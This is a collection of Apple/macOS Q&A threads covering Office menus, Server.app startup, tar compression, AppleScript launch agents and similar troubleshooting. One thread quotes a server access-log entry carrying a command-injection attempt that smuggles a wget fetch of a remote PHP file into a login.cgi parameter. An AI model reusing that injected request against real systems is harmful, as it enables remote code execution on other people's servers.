Office Mac 16 - Disable recent items list All Office applications offer a Open Recent... submenu (under File menu) that lists recent opened files.
Is there a way to disable Open Recent... or set to zero the number of listed files?

Why I want to disable Open Recent...:
The mentioned submenu is usefull. However the application attempts to access all listed recent files when File menu is selected (don't ask my why...)
If a recent file is stored on a unmounted disk image or network share the finder attempts to mount the volume.

Setting to zero Finder's menu recent items count (via System Preferences > General) also sets to zero all Office applications' Open Recent... items count.

Not a definitive solution but a viable workaround until Microsoft fixes the issue (assuming that is a bug that Office apps "touch" all files listed in Open Recent... when File menu is clicked)


Will using a temporary travel SIM affect anything on my iPhone? I'm off to Japan for a couple of weeks and wanting to take my iPhone 4 as I need to contact a few people while I'm there.

If I use an international SIM to save massive roaming charges will it affect anything on my phone? i.e the apps or notes or anything else? I'll be putting my normal sim back in after 2 weeks.

No, it shouldn't.
Your apps and data are stored on the phone, and changing SIM card won't affect them.


Deleting emails across my Apple devices How can I sync deleting my emails across Macbook Ipad & iPhone ?

This function doesn't exist in iCloud which does syncing across iOS and Apple products. You would need to set up something like an MDM solution like the Casper suite to automate this.


"Slow down" bootup until all devices are available I'm using OS X as a Server, running Server.app 4.0 to provide email hosting/etc.

Attached to this machine I have a PROMISE Pegasus R2 RAID drive mounted at /Volumes/RAID6-11TB, and I changed the default service storage location so that the Server.app data would be located on the RAID drive (for redundency, and so that Backblaze can backup my precious email, which normally ignores /Library).

The problem is when rebooting the machine, Server.app doesn't properly startup, because something during the boot process is creating an empty directory /Volumes/RAID6-11TB/Library/Server/Web/Data/Sites/Default/NetBoot. When the RAID array is later automagically mounted, it's default mountpoint already exists, so it is instead mounted at /Volumes/RAID6-11TV 1, which causes no good at all.

Is there a way to fix rebooting so that either:

Server.app won't launch until the RAID disk is ready, or
Delay OS boot so that it won't finish launching until the RAID disk is ready?

Regarding (1), I've edited /Library/LaunchDaemons/com.apple.serverd.plist to add a QueueDirectories key, but that doesn't seem to have any effect, and WatchPaths sounds like it has the wrong semantics, so I'm leery to even try that.

Regarding (2), if I boot into Single User mode (holding down Command+S during boot), then wait until all messages have completed, then hit Ctrl+D to continue the boot, /Volumes/RAID6-11TB is properly mounted as intended.

However, this doesn't help for automated reboots when I'm away (e.g. after power failures). (OK, the "proper" answer is battery backups so that the machine doesn't reboot, but let's ignore that for now...)

Is there some way to make this work?

It's Server.app that is creating that mysterious folder that's gumming up your works.

Stop the Server.app from launching when the server boots, and then you can create a cronjob that launches it via a .sh script.

Script should just be something like

#!/bin/bash
/Applications/Server.app

and like the person said in the one link, the cronjob entry would be something along the lines of

@reboot sleep 60 && my_script.sh

That should give your RAID enough time to mount properly before Server.app pops up and creates that folder.


Apple Watch charger not charging I have an Apple Watch Sport. Today I tried using a car port to charge my Watch. However, it does not work. I used the same charger and port yesterday and it worked fine. Why is my Apple Watch not charging?

You have to do some basic trouble shooting.  You have two components to check:

The 12v power port in your car
The charger

Plug your charger into the power port of a different car with a power port you know to be good.  If your charger works, then the problem is related to your car.  If it dosen't work, then your charger is at fault.

Alternatively, you can plug a known working charger into your car.  If it works there as well, it's your charger.  If it doesn't, it's your car.


On startup Calendar shows only one calendar The following problem has appeared a few days ago. I believe I have not changed any settings.

Whenever I open up Calendar under OS 10.8.2 on my MacBook Air it shows just one of the calendars I sync with Google. This one has a tick mark in the calendars list shown under the menu "Window":

When I click on "Window > Calendars" (or "Cmd-0"), all calendars appear:

But when I shut down and open Calendar, only the one calendar shows up again.

I don't know where I can set this to always display all calendars, as it was until a few days ago. None of the calendars are ticked under "Preferences > Account > Delegation", and ticking them changes nothing:

I'm on a German system, so menu items are maybe named differently in English than I translated them. I added some images to make my meaning more clear.

Close Calendar app. Go to Finder. Press cmd+G to navigate to a folder. Type in ~/Library/Preferences. Locate a file called com.apple.iCal.plist. Move it to Trash.

Now try to relaunch Calendar. Hopefully you should now be able to select the calendars you want to see and have them still be selected once you quit and reopen Calendar.


Any fun baby/toddler apps for Mac? As soon as my two-year-old notices I turn my MacBook Pro on she jumps in my lap and wants to bang on the keyboard.

I need recommendations for fun applications that would allow my toddler to play with the computer for a couple of minutes and that keeps those little hands from messing up with my other applications and files.

What I'm looking for:

Applications for Mac only. Sadly, it seems like almost every toddler application these days is made for the iPad.
Fullscreen right from startup, with a hard-to-press-by-accident key sequence to exit fullscreen or quit the app. Basically, like a screensaver in that regard.
Not a game, at least not a challenging one. A two year old don't care if she wins or loses and doesn't want to start and retry levels, but just wants to have fun for some indeterminate period of time banging the keys to some cute noises and animations.
Keyboard responsiveness. Banging the keys should make noises and have some visual response.

Some nice-to-haves:

No text reading or typing necessary to play.
Not very centered around mouse/trackpad input. It's relatively hard for a two year old to control the mouse cursor with precision. It should be OK if the application responds to trackpad clicks, but it should not require the user to click a small half-inch button with the mouse cursor in order to make things happen.

I don't care about:

Free or paid.
App Store or classic download.

The closest I have found is BabyView, which is clearly not designed for the Mac but for touch devices and therefore doesn't respond to keyboard input at all.

AlphaBaby http://alphababy.sourceforge.net

But I do feel that Google is, in this case, your friend. Try, toddler games OS X. Older OS X games work fine.


Can I play audio out to both USB and Bluetooth on a MacPro simultaneously? I'm running Snow Leopard on a Mac Pro- audio preferences seem to limit audio output to only one port at a time. Is there a way around this? Also the Bluetooth output from the Mac is really weak, is there any way to increase it or make it more effective?

Concerning the audio devides: try this and if it fails try this.


is there an easier way to set PRAM? I was trying to solve a stupid nagging problem (doesn't matter what at this point!) on my iMac (mid 2011), and one of the things that kept popping up is resetting PRAM. I have done this many times (over the years) and it is always a frustrating task (and getting harder as my coordination gets worse.) as I have hand/finger difficulties. One hand (the right) is cramped and mostly useless while the other is somewhat shaky. This combined with trouble with eye/hand coordination makes hitting the command + option + p + r at just the right time and all the way through the boot process very difficult for me. I would love to be able to set a keyboard shortcut to do that but don't think it is possible. If I could use one hand (the LEFT) to do that it would be great. I have looked in System Preferences under Keyboard and Accessibility as well as Googled but an easier solution has not revealed itself. Maybe there is none.

I found an answer here, How to reset mac PRAM through the command line in Lion/Mountain Lion?, that seems to work in Yosemite.

In Terminal: sudo nvram -c


ports 80 and 443 suddenly closed on macos server short story

Ports 80 & 443 seems to be closed on my MacOS Server (checked with Network Utility) -- cannot access any website from both local network and internet.

Have restarted the websites service & rebooted the server few times.

How to re-open ports 80 & 443?

long story

I have couple of websites hosted on my MacOS Server with the Websites service.

It was working okay until 2 days ago.

Yesterday I realised that I wasn't able to access any of the server's website neither via local network nor from the internet. After the investigation I realised that ports 80 and 443 aren't open on the server machine.

I have restarted the server couple of times, turned off and back on the Websites service, no change.

I cannot see anything too bad in the logs, apart from kinda weird request that seems to be the last access to the web server from the 'outside' world and reads as follows:

default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

I run the older version of Server app - 5.6.3 on MacOS 10.13.6

I have not installed/updated nor changed anything on the Server or my local network in past few days.

update

I've noticed that I have a loads of entries in the server's system log:

... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1
... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.

regardless of websites service running or not

Turned out that the /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf file became corrupted.

Luckily, there was a backup file in the same directory /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf.previous and simple swap solved the problem! (remember to restart the Websites service)

Not sure if this is relevant but it might:
From Etrecheck report I’ve noticed that there was an MacOS update about the time when the problem occurred:
2019-02-19 Security Update 2019-001 (10.13.6)

Apple Support Communities thread that helped to track-down the issue: https://discussions.apple.com/thread/250188369

EDIT

The problem came back today (after 10 days).

The trick described above didn't work.

(It might have had something to do with renewing the SSL certificate this time.)

EDIT 2

This time I’ve managed to repair Website service (and open ports 80 and 443) by commenting the last line of the following config file: /Library/Server/Web/Config/Proxy/apache_serviceproxy.conf

#IncludeOptional /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites*.conf`

Not sure how long that'll last this time ;-)

EDIT 3

Still don't have a clue what was happening. Recently needed to re-enable the cutomsites in order to park couple of new domains. Server still works fine... so far.


Safe to Delete Keynote Cache under /Library/Container/com.apple.iWork.Keynote/Data/Library/Caches While the question "is it safe to delete /Library/Caches" is commonly seen, OSX also has another path for storing caches (not sym link). Keynote has another cache stored at /Library/Container/com.apple.iWork.Keynote/Data/Library/Caches. In particular, a subfolder named DocumentCaches store a some of my slides created in keynotes.

Is it safe to delete this folder?

Cache is cache. Deleting it is safe. It's recommended to have all applications involved closed tho. Tools like Onyx are mostly the best way to just do a periodic cleansing every now and then.

If you just intend to delete that cache; no worries. Just close Keynote and remove the caches. You might want to remove the app states for that app too if this is a matter of something behaving weird in while working in it.


Custom folder icon doesn't display for SD card — shows as "generic .png" icon This is quite perplexing. I created a new folder icon to use with my SD cards. But on one of the SD cards, on one of my computers, it shows only as the "generic .png" icon.

Here's where it gets perplexing:

I set the icon by bringing my image up in preview, selecting all, hitting copy, then opening file info on the SD card, selecting the icon, and hitting paste.
I have two identical SD cards. Using the exact same .png file for both of them, one displays correctly, while the other shows the "generic .png" icon.
Reformatting the card did not help.
Inserting the card into a different Mac worked fine.

So: the icon fails to display on only one SD card on only one Macbook.

I'm guessing that the system has stored some metadata somewhere that causes it to "remember" that one SD card and decide not to display its icon.

Has anybody ever seen this before? Anybody know a fix?

Edit: I was forced to reboot my computer for other reasons, and the problem went away before I had a chance to try any of your suggestions.

I had this problem a while ago, honestly, I've forgotten the exact cause, but I do believe it's related to the icon cache.

Try renaming your drive, or clearing the icon cache.


Create tar archive with xz compression? I'd like to create a tarball using the xz compression tool. According to google, as of 10.10 there is an undocumented "--xz" switch for tar but I can't get it to work. On linux there is a "-J" switch that allows for xz compression but that isn't supported directly on OS X.

The man page for tar references xz compression but does not show a working example of how to use it. My other searches all result in something similar to:

    tar cf - some_dir | xz -1 > some_dir.txz

However, decompressing that from the command line is less than intuitive and requires xz to handle the decompression before handing the file off to tar.

So, what's the "state of the art" in using xz compression directly from tar?

Looking at the source code for the libarchive package from Apple Open Source for OS X 10.8.5, 10.9, 10.10, and macOS 10.12.3, of which contains the source code for bsdtar, it includes the ability to use xz compression directly in tar, however it was not implemented at compile time until OS X 10.9.0 and later. Although the manual page bsdtar.1 doesn't show the -J, --xz options even though it's in the bsdtar.c source code.

To create an xz compressed tar archive in OS X 10.9 or later use the following syntax examples:

tar -cJf filename.tar.xz /path/to/folder_or_file ...

Or:

tar --xz -cf filename.tar.xz /path/to/folder_or_file ...

Example:

tar -cJf Documents.tar.xz "$HOME/Documents"

Or:

tar --xz -cf Documents.tar.xz "$HOME/Documents"

I also checked the Documents.tar.xz file after it was created in a Hex Editor and it did have the proper header which included the expected 7zXZ portion of the signature.


Esc button on an iPad Hi i was doing a report and went on google drive and accidently clicked on full screen and it said I needed to click esc to get out of full screen.

I was just wondering where the esc button on an iPad is, because I can't find it and I need to insert a picture and I can't and it won't let me copy and paste.

There is no escape key on iPad.

Furthermore, I tried connecting my Apple Wireless keyboard to my iPad via bluetooth. I went  on Google Docs (desktop version) and went fullscreen. The escape key on the keyboard is not recognized. Same with the Smart Keyboard on the iPad Pro line - no physical escape key was made.

We can assume iOS has not support for that kind of key yet and with this long, it’s not in the cards for this platform.

That being said, all sorts of apps have custom on screen keyboards that let you touch to send escape key (like prompt ssh app by Panic). For many apps, the tab key serves the same function as esc but certainly not all.

The actual fix is to engage the vendor of the app (or designer of the web page that assumes an escape key is present) to get them to fix their app/design.


Reminders and Contacts disappeared when turning on iCloud I decided to give iCloud a go, so I did the following:

Logged into iCloud on iPhone
Logged into iCloud on Mac

The following happened:

Calendar events were merged (that is, they were copied from iPhone to Mac, because I had no calendar events on Mac). So that was OK.
My notes were left on each device, because judging from the GUI you manually control if they are local or iCloud. So that's OK too.
Contacts were merged on Mac. All contacts disappeared on iPhone (they returned when I turned off "Contacts" in iCloud settings). Not good.
All my reminders disappeared from Mac, so I panicked and turned off iCloud on Mac, and then back on. Some of the reminders appeared on both devices, but many were missing. Disaster!

I fear to touch anything now, afraid that I'll lose more data. My questions:

How do I get contacts to show on iPhone (with "iPhone" turned on in iCloud settings?)
Are the reminders on Mac lost, or how can I get them back? (I don't use Time Machine.)

On MacOS, each of the 4 apps you refer to support both local and iCloud-synced accounts or lists.

To avoid any syncing issues and for troubleshooting, I suggest the following:

To start, leaving iCloud off for each app on each device.
Then turn on iCloud sync for the first one, e.g. macOS Contacts.
Pay attention to what happens. You may now see both an 'on my mac' and a new 'icloud' group appear in the left hand list.
If there are no contacts in the 'cloud' section, then perhaps they are only inside the local copy in the 'on my mac' group.
If so, then move them into the 'cloud' group. Does it look like there is a network operations (spinner) doing stuff in the corner? If so, then things are going well.
Wait a while until everything is done.
Now turn it on in the other advice and again wait for things to sync. Also check if there are contacts 'on this iPhone' that you also want in the cloud.
Same concept applies to the other 3 apps, with minor technical differences.

Hope this helps!

Damon, aka Semiconducted


Single Click in Terminal to Select Text I've been searching for a while on this one and the only answers I can dig up are "use X11"...so I thought I would bring it to the experts.  Is there a way to configure mouse gestures/actions in the OS X Terminal app such that single-clicking on text copies the text to the clipboard?

I'm not aware of a way to do it with the built-in Terminal app, but this is a feature that some terminal replacement apps, like iTerm 2, support.


iCloud drive taking 58 GB on my internal SSD. Why is that? I have read online, from multiple sources, that icloud drive is like Google drive or Dropbox, so why would iCloud drive take up 58 GB on my internal drive. I thought putting files in the iCloud drive was storing them in the cloud.  Google drive and Dropbox doesn't take up a lot of space on my internal drive. Why is iCloud Drive using so much space on my internal drive?

Depending on settings, for both Dropbox and iCloud the files may continue to take up space on the originating computer, and on any computer that has been "synced" to allow offline usage of the files.

For iCloud you control this behavior by the storage preferences:

Open "About This Mac" from the Apple () menu, then click Storage. There is an overview of your free space, space used by different types of files, and options for optimizing usage.


How to separate "mouse" and "trackpad" settings? In System Preferences > Mouse there's a setting "Scroll direction: natural", which I don't like, so I unset.  The problem is that this also unsets the setting for Trackpad, which I do like.

How can you have different settings for mouse and trackpad?

(In case you can't understand the rationale for wanting them different, and think this is a ridiculous question, here is the reasoning.  Mice have had scroll wheels for decades, and the direction of the wheel turning has always been in sync with the motion of the scrollbar.  This is, in my opinion, the most natural way to do things, even though it is the opposite of what Apple calls "natural".  On the other hand, I'm perfectly willing to use Apple's "natural" scrolling for trackpads, because the metaphor here is that you're moving your fingers across a page, just as if you were using an iOS device's touchscreen.  The idea that Apple treats these as the same thing, when they are conceptually completely different is very odd to me.  I don't want to change a decades-old habit with the mouse, just because Apple changed their idea of how a trackpad should work.  I embrace the trackpad change because it makes sense to anyone who uses an iPhone or iPad (and I use both) but I'm not willing to rewire my brain's way of using the mouse.)

I had the same problem when I started to use macOS.

I installed this little utility, which lets you reverse the scrolling behavior only for the mouse:

Scroll Reverser for macOS


Endlessly repeating "There was a problem connecting..." error I'm getting constantly interrupted by the same error, "There was a problem connecting to the server "admin's MacBook". The server may not exist or it is unavailable at this time.  Check the server name or IP address, check your network connection, and then try again."

The server in question is my older Macbook.  A few days ago I needed to copy iSync from the old MB to my newer MBP so I established a bluetooth file sharing link.  When I was done I turned file sharing off again and shutdown the old Macbook.  Apparently my MBP (the newer one) is still constantly trying to contact the old MB.  How can I get it to forget that that machine was ever connected?

Here's the error dialog:

So far I tried following:

  System Preferences Network

Deleted BT connections

Then Open the Sharing and Disable Sharing

  Restart MBP

without success.

It would appear that the problem is related to having installed iSync under Mountain Lion.  Here is a copy of the console log at the moment that the error dialog pops up:

8/7/13 11:36:43.623 AM iSync[18691]: ApplePersistence=NO
8/7/13 11:37:13.632 AM iSync[18691]: [0x10010ba70] |Server|Warning| failed to connect to the server: NSPortTimeoutException connection timeout: did not receive reply
8/7/13 11:37:13.909 AM NetAuthAgent[18695]: ApplePersistence=NO
8/7/13 11:37:15.984 AM SyncServer[18693]: [0x7fd9d340bea0] |DataManager|Warning| Client com.apple.iSyncDU.IMEI356495004217990 image file path /Volumes/Applications/iSync.app/Contents/PlugIns/ApplePhoneConduit.syncdevice/Contents/PlugIns/PhoneModelsSync.phoneplugin/Contents/Resources/MOTV535.tiff does not exist.
8/7/13 11:37:43.786 AM iSync[18691]: [0x10010ba70] |Server|Warning| failed to connect to the server: NSPortTimeoutException connection timeout: did not receive reply
8/7/13 11:37:49.170 AM SyncServer[18693]: [0x7fd9d340bea0] |DataManager|Warning| Client com.apple.iSyncDU.IMEI356495004217990 sync alert tool path /Volumes/Applications/iSync.app/Contents/MacOS/sync-tool does not exist.
8/7/13 11:38:13.939 AM iSync[18691]: [0x10010ba70] |Server|Warning| failed to connect to the server: NSPortTimeoutException connection timeout: did not receive reply
8/7/13 11:38:21.018 AM SyncServer[18693]: [0x7fd9d340bea0] |DataManager|Warning| Client com.apple.iSyncDU.IMEI356495004217990 formatter bundle path /Volumes/Applications/iSync.app/Contents/PlugIns/ApplePhoneConduit.syncdevice/Contents/Resources/Formatter.bundle does not exist.

Now I suspect that because I simply copied over iSync, it's still configured for the other machine, which it cannot find.

Simply deleting iSync did not do the job.  launchd must still be configured to run whatever backup daemon got installed when I ran iSync.

This error typically comes up when OSX is trying to access a file or folder on a remote server, but it cannot connect to that server.

I have two examples to give an idea of where this can come from:

You are able to have MacOS (or OSX as it was known at the time) connect to a remote folder automatically at
login. Typically these are shown in the "Login Items" tab of the
"Users & Groups" pref pane

When an application attempts to open a file that's on a remote
server, OSX automatically tries to connect to that server in order
to access the file.

For example: If the music in your iTunes library is on a mounted
network drive, and you have not connected the drive yet, playing a
track will delay while it connects the drive before iTunes will
play the track.

In both cases, if the server where these files are located cannot be found, that error will come up.

Since the computers are no longer connected (in this case over Bluetooth), the server cannot be found.


AppleTV 4 - how to disable Bluetooth needed to pair AirPlay device In our large auditorium, an A/V rack which contains an AppleTV 4 for use as an AirPlay device to our humongous projector, sits in the back of the room in a closet. The ATV4, with the latest tvOS, uses a combination of Bluetooth and Wifi to establish a Conference Room Display connection from an Airplay-enabed device (laptop, iPad, etc.)

Naturally, Bluetooth's limited range makes it impossible to connect with AirPlay from the presenter's lectern on-stage, being almost 150' distant from the ATV4. One can connect when in range of the ATV4, and then move the AirPlay-enabled device to the lectern, but that is extremely non-optimal.

I've searched for quite a while on how to disable this function, but it doesn't seem to be possible. I've also searched for Bluetooth extender devices, but they seem be designed to extend audio connections to BT headphones & whatnot.

Has anybody figured out how to disable the peer-to-peer Bluetooth AirPlay configuration and use just Wi-fi?

The difficulty was manifold, and combined a misconfigured wifi network, ATV4s not at the latest version of tvOS, and a management profile with an out-of-date certificate. Once these obstacles were overcome, the need to connect with Bluetooth was made moot.


What is the performance penalty of using RansomWhere.app? As many might be aware OS X is now potential victim of ransomware exploits.  So far we have one example only, First Mac-targeting ransom ware hits Transmission users, researchers say, but chances are that these exploits will increase.

I recently read about RansomWhere.app that might be effective in protecting your mac from ransom ware attacks, by monitoring the file system for the creation of encrypted files (and blocking the process doing the encryption).  My understanding is that the developer(s) of this program are highly qualified and whatnot but (and here is the questions):

Does anyone use this program?  What is the performance penalty?

I ask because I have multiple redundant backups, so a ransom ware attack would force me to wipe my disk and use one of my backups (losing a day or less of files at most)?  Multiple redundant backups are needed anyway, so what is the net advantage of using ransomware defeating software?

I have used it for the past few weeks on my 12" Retina MacBook and noticed no impact on performance.


Sound often randomly disappears from menu bar System Preferences > Show volume in menu bar often randomly unchecks itself since upgrading to Big Sur.
Very annoying to look to change my volume or sound output, then find it missing from the menu bar.
How can I stop this from happening?

System Preferences > Show volume in menu bar often randomly unchecks itself since upgrading to Big Sur.

If it's a bug, I would provide feedback to Apple at: https://www.apple.com/feedback/macos.html

How can I stop this from happening?

If under System Preferences > Dock & Menu Bar > Sound > Show in Menu Bar is checked and set to [always], not [when active], then sorry no, I do not know how to stop it from happening, however, I can offer a workaround that will automatically restore the icon to the menu bar when it disappears.
This is done using a Launch Agent and a shell script using osascript to run some AppleScript code that will click the checkbox with it gets unchecked.
In Terminal, assuming the pwd is your Home directory:
touch checkSoundMenu; open -e checkSoundMenu; chmod +x checkSoundMenu

Copy and paste the following example shell script code into the opened checkSoundMenu document and then save and close the document.
Back in Terminal:
sudo mv -v checkSoundMenu /usr/local/bin/
sudo -k

Example shell script/AppleScript code:
#!/usr/bin/osascript

set thePropertyListFilePath to POSIX path of ¬
    (path to preferences from user domain) & ¬
    "com.apple.controlcenter.plist"

tell application "System Events" to ¬
    tell property list file thePropertyListFilePath to ¬
        set soundIsVisible to value of ¬
            property list item "NSStatusItem Visible Sound"

if soundIsVisible then
    return
else
    if running of application "System Preferences" then
        try
            tell application "System Preferences" to quit
        on error
            do shell script "killall 'System Preferences'"
        end try
        delay 0.1
    end if

    repeat while running of application "System Preferences" is true
        delay 0.1
    end repeat

    tell application "System Preferences"
        run
        set current pane to pane id "com.apple.preference.sound"
    end tell

    tell application "System Events"
        tell front window of application process "System Preferences"
            repeat until (exists checkbox "Show volume in menu bar")
                delay 0.01
            end repeat
            click checkbox "Show volume in menu bar"
            delay 0.1
        end tell
    end tell

    tell application "System Preferences" to quit
end if

With the shell script taken care of, create the Launch Agent in Terminal, assuming the pwd is your Home directory:
cd Library
[ ! -d LaunchAgents ] && mkdir LaunchAgents
cd LaunchAgents
touch com.my.menu.bar.sound.plist
open -e com.my.menu.bar.sound.plist

Copy and paste the following example XML Plist code into the opened com.my.menu.bar.sound.plist document and change you in the value for WatchPaths to your Home directory, then save and close the document.
Back in Terminal:
launchctl load com.my.menu.bar.sound.plist

Example XML Plist code:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.my.menu.bar.sound</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/checkSoundMenu</string>
    </array>
    <key>RunAtLoad</key>
    <false/>
    <key>WatchPaths</key>
    <array>
        <string>/Users/you/Library/Preferences/com.apple.controlcenter.plist</string>
    </array>
</dict>
</plist>

Notes:
The use of this workaround will require changes to System Preferences > Security & Privacy > Privacy > Accessibility in that osascript needs to be added and checked. You should be prompted for this when the checkSoundMenu shell script runs for the first time when the com.apple.controlcenter.plist file is changed, e.g.:

"osascript" wants access to control "System Preferences" Allowing control will provide access to documents and data in "System Preferences" and to perform actions within that app. -- Click: [OK]

"osascript" wants access to control "System Events". Allowing control will provide access to documents and data in "System Events" and to perform actions within that app. -- Click: [OK]

"osascript" would like to control this computer using accessibility features. Grant access to this application in Security & Privacy preferences, located in System Preferences. -- Click: [Open System Preferences]

Click the Lock, enter your credentials, and check: [√] osascript

You should of course trigger this manually the first time by unchecking the Show volume in menu bar checkbox in: System Preferences > Sound
I would toggle it a couple of times to make sure the Launch Agent is working as desired so when it does trigger naturally it works as expected.

This was tested and worked for me in macOS Big Sur with System Preferences > Language & Region set to English (US).

Reverting Changes
To completely undo the changes made by this, in Terminal:
cd ~/Library/LaunchAgents
launchctl unload com.my.menu.bar.sound.plist
rm com.my.menu.bar.sound.plist
cd /usr/local/bin
sudo rm checkSoundMenu

In System Preferences > Security & Privacy > Privacy > Accessibility uncheck and remove osascript if not being used otherwise.


How to enter redemption code for Snow Leopard? I have purchased the Snow Leopard from the UK store for my iMac (Version 10.5.8, 2.8 GHz Intel Core 2 Duo and 2GB 800 Mhz DDR2 SDRAM memory). I received the redemption code 6 months ago and was so confused as it where to put this code. I wasn't around for the last 6 months and now want to try again. It says I need to enter this code in the app store but can't download this app store until I update my software! When I click the apple icon and go on software update, it says my software is up to date! This is such a catch 22, I really don't know what to do!

You will need to buy the Snow Leopard installation DVD from the UK Apple Store

I'm not sure why you just got a redemption code. If you look at this information page about older versions of OSX it says when you buy Snow Leopard you get a DVD, but if you buy Lion or Mountain Lion you get a redemption code. Are you sure you got Snow Leopard?


iPhone 4S recovery error 29 My iPhone 4S keeps getting stuck on the boot logo. It has never been jailbroken. When I try to restore it in the latest version of iTunes I keep getting this:

How can I resolve this?

I just fixed the error by changing the battery. Before a week I replaced my battery, but it was a Chinese battery from ebay. This was the reason for the error. Today I just changed the battery - inserted the original battery and BOOM. The iOS 9.1 was installed on my iPhone. You should try this will work 100%.

Source: http://www.unlockboot.com/2015/10/how-to-fix-itunes-error-29-iphone-4s-5.html


MacBook Pro 2019 reset to factory: Mojave or Catalina? I am new to Macs. I need to reset my MacBook Pro 2019 to factory settings. It was on Mojave originally then I upgraded it to Catalina. My questions are:

Should I follow the steps of reset for Mojave or Catalina?

What happens to FileVault encryption key when the laptop is reset? Does the encryption key remain the same?

What I mean by factory reset is, see for example here https://www.youtube.com/watch?v=3kPvfTdq_Vs
Please, advise. Thanks

See Apple's documentation on Recovery Mode on ways to reinstall macOS and/or erase the disk. A simple reinstallation should not impact installed applications or user data, but as usual making a backup before is recommended. Also, downgrading from Catalina to Mojave always require changes in the disk format/partitions so you must make a backup before.
Which version of macOS is installed during Recovery can be partially influenced by the way Recovery Mode is launched (see https://support.apple.com/kb/HT204904):

Cmd-R reinstalls the same version as currently installed
Opt-Cmd-R installs the newest version available
Shift-Opt-Cmd-R installs the version the Mac shipped with (or the oldest one still available if the shipped version isn't available any longer)

If you clean install macOS, you will "wipe out" any FileVault encryption so whether you have the key or not is rendered moot.  The boot firmware password, however, is not affected.


WD MyBook appears as read-only My WD MyBook Essential with USB 2.0 appears with read-only permissions. I set the drive up on my old Vista machine, and when Vista began crashing, I switched to Ubuntu. I still have the Ubuntu machine, but started using a Mac.

The drive is encrypted through the WD SmartWare program. While I can unlock the drive, and access files, I can't write to it from either machine.

Is it possible to make the drive writable from my Mac without losing data?

If the drive started out on Vista I'd assume it has been formatted using the NTFS filesystem. You can confirm this by selecting the drive in the Finder, right-click it and selecting "Get Info" from the menu. The Info window will list the format under General.

Unfortunately on Macs by default NTFS is always mounted read-only.

There are a number of options to enable write access on OS X. There are commercial products like Tuxera NTFS for Mac  and Paragon's NTFS for Mac OS X. There are also free open source solutions like NTFS-3G and if you are confident in using the Terminal you can use something like brew to install NTFS-3G.


Copy filename of file selected in Finder to clipboard using Automator with Applescript I'm trying to create an Automator Application that begins with selecting a Finder item.
Before continuing I would like to copy the filename only, not the pathname to the clipboard.
How can I do that?
Thanks very much in advance!

To place the name of the Finder item without its extension onto the clipboard, you will need to add a Run AppleScript action with the following example AppleScript code:
on run {input, parameters}

    set fileName to first item of input

    tell application "System Events" to ¬
        tell disk item (fileName as text) to ¬
            set {theName, theExtension} to ¬
                {name, name extension}

    if theExtension is not "" then
        set theName to ¬
            text 1 thru -((count theExtension) + 2) ¬
                of theName
        set the clipboard to theName
    else
        set the clipboard to theName
    end if

    return input

end run

The return input in the example AppleScript code will pass the Finder item(s) onto the next action in the workflow.

Note:
As coded it will only place the name of the first selected Finder item, without its extension, onto the clipboard, as per your comment.


Can I use Preview to make this GIF file size smaller? Here is a 2.6 MB GIF that I would like to post in a Stack Exchange question. That means it needs to be under 2 MB or 2 MiB (I can't remember which).

https://techcrunch.com/wp-content/uploads/2019/02/spaceharpoon.gif

Viewing the GIF frame-by-frame with Preview, I can see that there are

Some doubled frames that could be removed
Some frames at the end that could be removed

In addition I might want to

resize all frames by say 20%
slow down the replay speed to compensate for the removed doubled-frames

Can I do any (or even all) of these using Preview (or anything else available standard in MacOS) and then save as a repeating GIF?

Update: I was successful in deleting enough frames using Preview, and to successfully include the edited GIF in an SE question with some difficulty (Preview freezes and "jiggling thumbnail" warnings. However that converts it to a non-repeating GIF.

GIF is now non-repeating, reload to replay, or watch the video: https://youtu.be/3oryJMdonUA

Yes you can. Open the gif in Preview and you'll get (I got) 48 images. Click on the "View" menu and select "Thumbnails" to display all images as Thumbnails. Give it a second or 2 to display all images. Once that is done go to "Edit" menu and select "display all" or click ⌘-a (command-a) to select all the thumbnails. Next go to "Tools" in the menu bar and select "Adjust Size".  This brings up a pane where you can adjust the image size using standard sizes or by the number of pixels. It will use your settings on all selected thumbnails.


What are the recovery options from an encrypted Time Machine? Luckily, this hasn't happened yet, but I would like to make sure that I have a recovery option after my iMac would be stolen or lost in fire, etc.

I have an iMac 27-inch, Late 2009, running OS X 10.9. File Vault is turned ON. Time Machine is set up, with encryption ON, on an external hard drive.

Suppose I lose the iMac, but retain de external hard drive, what are my recovery options and how would I go about that?

Can I access individual files on the Time Machine from a different Mac?
Can I buy a new iMac and migrate "everything" on the Time Machine to that new iMac? (Will "everything" include settings, software, keychain, etc.?)

As far as I know, both can be answered with yes. Of course, you'll need the password you used encrypting the backup.

Accessing individual files would work by clicking the Time Machine symbol in the menubar while holding alt and selecting something like "Search other backup volumes" (I'm from Germany so I don't know what it says exactly). Then you should search the backup like any other after you've entered the password.

When you use migration on another Mac, everything should be copied (except for some machine specific files maybe).


How to enroll Macs on Profile Manager MDM using Terminal? I've been tweaking the command profiles quite sometime now but the -password parameter doesn't work. I've wanted to enroll machines using an MDM profile but it will require the user to input credentials via prompt which defeats our automation.

Additional: I can install Trust profiles from macOS server via terminal by simply executing `profiles -I -F  but not the MDM.

i have tried to install the profile with root access. its getting install without password. but stuck at MDM profile which is very important. I have discuss with apple and they told me that you required DEP if you want automation.


Homebrew Cask download failure. SSL certificate problem: certificate has expired I am trying to install NetLogo via Homebrew Cask. I run the following command:

brew cask install netlogo

Homebrew starts the download but immediately throws the following error:

==> Downloading https://ccl.northwestern.edu/netlogo/6.1.1/NetLogo-6.1.1.dmg
#=#=-#  #
curl: (60) SSL certificate problem: certificate has expired
